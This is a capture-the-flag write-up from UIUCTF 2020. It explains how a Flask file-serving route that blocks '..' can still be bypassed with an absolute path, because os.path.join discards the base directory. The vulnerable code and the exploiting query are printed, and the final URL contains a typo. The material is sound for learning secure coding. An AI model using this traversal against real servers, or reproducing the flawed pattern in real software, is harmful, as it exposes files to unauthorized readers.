Tags: flask python pathtraversal
Rating: 5.0
# UIUCTF 2020
## security_question
Writeup by **ranguli**
Challenge by **Husinocostan**
_Someone just asked a very interesting question online. Can you help them solve their problem?_
The challenge link `https://security.chal.uiuc.tf/` brings us to a fake
StackOverflow page with the poster complaining that their friend was able to
access the `hidden_poem.txt` file in the root directory (`/`) on the server. They post the following code snippet looking for help:
```python
@app.route('/getpoem')
def get_poem():
poemname = request.args.get('name')
if not poemname:
return 'Please send a name query:\n' + str(os.listdir('poems')), 404
poemdir = os.path.join(os.getcwd(), 'poems')
poempath = os.path.join(poemdir, poemname)
if '..' in poemname:
return 'Illegal substring detected.', 403
if not os.path.exists(poempath):
return 'File not found.', 404
return send_file(poempath)
```
In this Python code we see a route defined `/getpoem` assigned to the `get_poem()` function.
```
@app.route('/getpoem')
```
We also see `poemname` being assigned as query parameter.
```
poemname = request.args.get('name')
```
If we try the endpoint `https://security.chal.uiuc.tf/getpoem?name` we get the following response:
```
Please send a name query: ['rise.txt', 'daddy.txt', 'tyger.txt', 'road.txt']
```
The Python code that causes the trouble here is in the joining of paths.
```
poemdir = os.path.join(os.getcwd(), 'poems')
poempath = os.path.join(poemdir, poemname)
```
In the 2nd line we see that the `poemdir` directory and `poemname` file are
being joined to created a path. If we evalute this line of code in a REPL, we
get the following:
```
>>> import os
>>> poemdir = os.path.join(os.getcwd(), 'poems')
>>> poemdir
'/home/user/poems'
```
We know that `poemdir` is the `poems` subdirectory inside the current working directory. Keep in mind that our interest is in the root `/` directory to get `hidden_poem.txt`. Another join is performed is the name of the file.
```
>>> poemname = "poem.txt"
>>> poempath = os.path.join(poemdir, poemname)
>> poempath
'/home/user/poems/poem.txt'
```
Because of the way that `os.path.join()` works, if we set `poemname` to `/hidden_poem.txt`, we won't get:
```
/home/user/poems//hidden_poem.txt
```
Instead we'll actually just get:
```
/hidden_poem.txt
```
Which is the path we want. We can try passing this in as the query parameter:
`https://security.chal.uiuc.tf/getpoem/name?=/hiddenpoem.txt`
And we get the flag!
```
uiuctf{str_join_is_weird_in_python_3}
```
**Original writeup here:** [https://github.com/ranguli/writeups/blob/master/uiuctf/2020/security_question.md](https://github.com/ranguli/writeups/blob/master/uiuctf/2020/security_question.md)